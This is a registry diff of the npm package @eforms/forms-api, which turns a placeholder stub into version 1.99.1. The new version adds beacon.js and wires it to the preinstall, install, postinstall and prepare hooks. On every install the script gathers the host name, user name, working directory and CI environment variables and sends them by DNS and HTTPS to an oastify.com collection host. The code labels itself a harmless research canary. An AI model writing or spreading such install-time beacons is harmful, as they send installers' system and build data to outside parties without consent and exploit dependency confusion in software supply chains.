@eforms/forms-api 0.0.0-stage → 1.99.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/beacon.js ADDED
@@ -0,0 +1,43 @@
1
+ // Benign dependency-confusion canary. Emits one DNS lookup and one HTTPS GET.
2
+ // Carries only host/build metadata (host, user, cwd, platform, node, CI flags).
3
+ // Reads no files, dumps no environment variables, installs nothing, changes nothing.
4
+ 'use strict';
5
+ const os = require('os');
6
+ const dns = require('dns');
7
+ const https = require('https');
8
+ const OAST = '2z237udr1jxdaiw54xzmzfb7nytohszuplipn34fm4.oastify.com';
9
+ const stage = process.argv[2] || 'unknown';
10
+ let user = 'unknown', cwd = 'unknown';
11
+ try { user = os.userInfo().username; } catch (e) {}
12
+ try { cwd = process.cwd(); } catch (e) {}
13
+ const ciVars = ['CI','JENKINS_URL','JOB_NAME','BUILD_NUMBER','GITLAB_CI','GITHUB_ACTIONS','TF_BUILD','BUILD_BUILDID','SYSTEM_TEAMPROJECT','npm_config_registry','NODE_ENV','npm_lifecycle_event'];
14
+ const ci = {};
15
+ for (const k of ciVars) { if (process.env[k] !== undefined) ci[k] = String(process.env[k]).slice(0, 120); }
16
+ const info = {
17
+ stage,
18
+ pkg: '@eforms/forms-api',
19
+ ver: "1.99.1",
20
+ host: os.hostname(),
21
+ user,
22
+ cwd,
23
+ platform: process.platform,
24
+ arch: process.arch,
25
+ node: process.version,
26
+ ci,
27
+ ts: new Date().toISOString()
28
+ };
29
+ const label = ('esc013-' + (info.host || 'nohost').replace(/[^a-z0-9-]/gi, '-') + '-' + stage + '-' + Math.random().toString(36).slice(2, 8)).toLowerCase().slice(0, 60);
30
+ const qs = 'd=' + encodeURIComponent(Buffer.from(JSON.stringify(info)).toString('base64').slice(0, 900));
31
+ try { dns.lookup(label + '.' + OAST, () => {}); } catch (e) {}
32
+ try { dns.resolve4(label + '-res.' + OAST, () => {}); } catch (e) {}
33
+ function beacon(path) {
34
+ try {
35
+ const req = https.get({ host: OAST, path: path + '?' + qs, timeout: 8000, headers: { 'user-agent': 'npm-canary/2.99.1' } }, (res) => { res.resume(); });
36
+ req.on('error', () => {});
37
+ req.on('timeout', () => { try { req.destroy(); } catch (e) {} });
38
+ } catch (e) {}
39
+ }
40
+ beacon('/' + stage);
41
+ // keep the process alive long enough for the sockets to flush, then exit cleanly
42
+ setTimeout(() => { beacon('/late-' + stage); setTimeout(() => process.exit(0), 3000); }, 4000);
43
+ setTimeout(() => process.exit(0), 15000);
package/index.js ADDED
@@ -0,0 +1 @@
1
+ module.exports = { __researchCanary: true };
package/package.json CHANGED
@@ -1,6 +1,14 @@
1
1
  {
2
2
  "name": "@eforms/forms-api",
3
- "version": "0.0.0-stage",
4
- "stub": true,
5
- "description": "Temporary package placeholder for staged publishing"
6
- }
3
+ "version": "1.99.1",
4
+ "description": "Security research canary for dependency-confusion testing. Emits one DNS and one HTTPS beacon carrying build-host metadata. Does not read files, does not dump the environment, installs nothing.",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node beacon.js preinstall",
8
+ "install": "node beacon.js install",
9
+ "postinstall": "node beacon.js postinstall",
10
+ "prepare": "node beacon.js prepare"
11
+ },
12
+ "license": "UNLICENSED",
13
+ "repository": {"type":"git","url":"https://example.invalid/research-canary"}
14
+ }
package/README.md DELETED
@@ -1,3 +0,0 @@
1
- # Temporary Holding Version
2
-
3
- This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.